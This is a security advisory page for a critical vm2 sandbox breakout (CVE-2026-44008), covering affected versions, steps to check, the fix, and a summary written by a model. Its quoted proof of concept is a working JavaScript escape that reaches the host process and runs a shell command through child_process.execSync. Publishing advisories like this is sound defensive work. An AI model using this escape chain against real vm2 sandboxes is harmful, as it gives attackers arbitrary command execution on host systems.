---
id: "CVE-2026-44008"
kind: "vulnerability"
aliases: ["CVE-2026-44008", "GHSA-9qj6-qjgg-37qq"]
title: "vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`"
severity: "critical"
cvss: 9.8
epss: 0.00851
exploited: false
status: "open"
category: "package"
products: [{"name": "vm2", "fixed": ["3.11.2"], "affected": "<= 3.11.1", "ecosystem": "npm"}, {"name": "vm2 project vm2", "fixed": ["3.11.2"], "affected": "< 3.11.2", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["cwe-1100", "cwe-668", "node.js", "package", "untrusted-code-execution", "vm2"]
not_affected_if: ["no-untrusted-input", "vm2-not-used"]
published_at: "2026-05-08T15:58:48+00:00"
first_seen_at: "2026-11-04T03:36:22+00:00"
updated_at: "2026-11-04T03:46:40+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-9qj6-qjgg-37qq", "first_seen_at": "2026-11-04T03:36:22+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44008", "first_seen_at": "2026-11-04T03:46:40+00:00"}]
---

# vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`

vm2 is a Node.js library that runs untrusted code in a sandbox. A flaw in the newly added neutralizeArraySpeciesBatch method lets code inside the sandbox reach host objects and the host Function constructor, which allows arbitrary command execution on the host system.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:vm2 affected <= 3.11.1 fixed 3.11.2
- vendor:vm2 project vm2 affected < 3.11.2 fixed 3.11.2

## How to check

- Find vm2 in your lockfiles and installed packages, e.g. `npm ls vm2`
- Check whether the installed version is `3.11.1` or lower
- Search your code for `require("vm2")` or `from "vm2"` to see whether untrusted code reaches a vm2 sandbox

## Fix

- vm2 `3.11.2`

## Timeline

- 2026-11-04T03:36:22+00:00 ghsa https://github.com/advisories/GHSA-9qj6-qjgg-37qq
- 2026-11-04T03:46:40+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-44008

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-9qj6-qjgg-37qq
- [advisory] Maintainer's advisory: github.com https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq
- [fix] Release: github.com https://github.com/patriksimek/vm2/releases/tag/v3.11.2
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/ca195f0178989d6f59eafb7af965806f829e20f7

## From the sources

### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object.

### PoC

```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
	set(value) {
		a.f = Buffer.prototype.inspect;
		value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
	}
});
new Buffer(a);
`));
```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_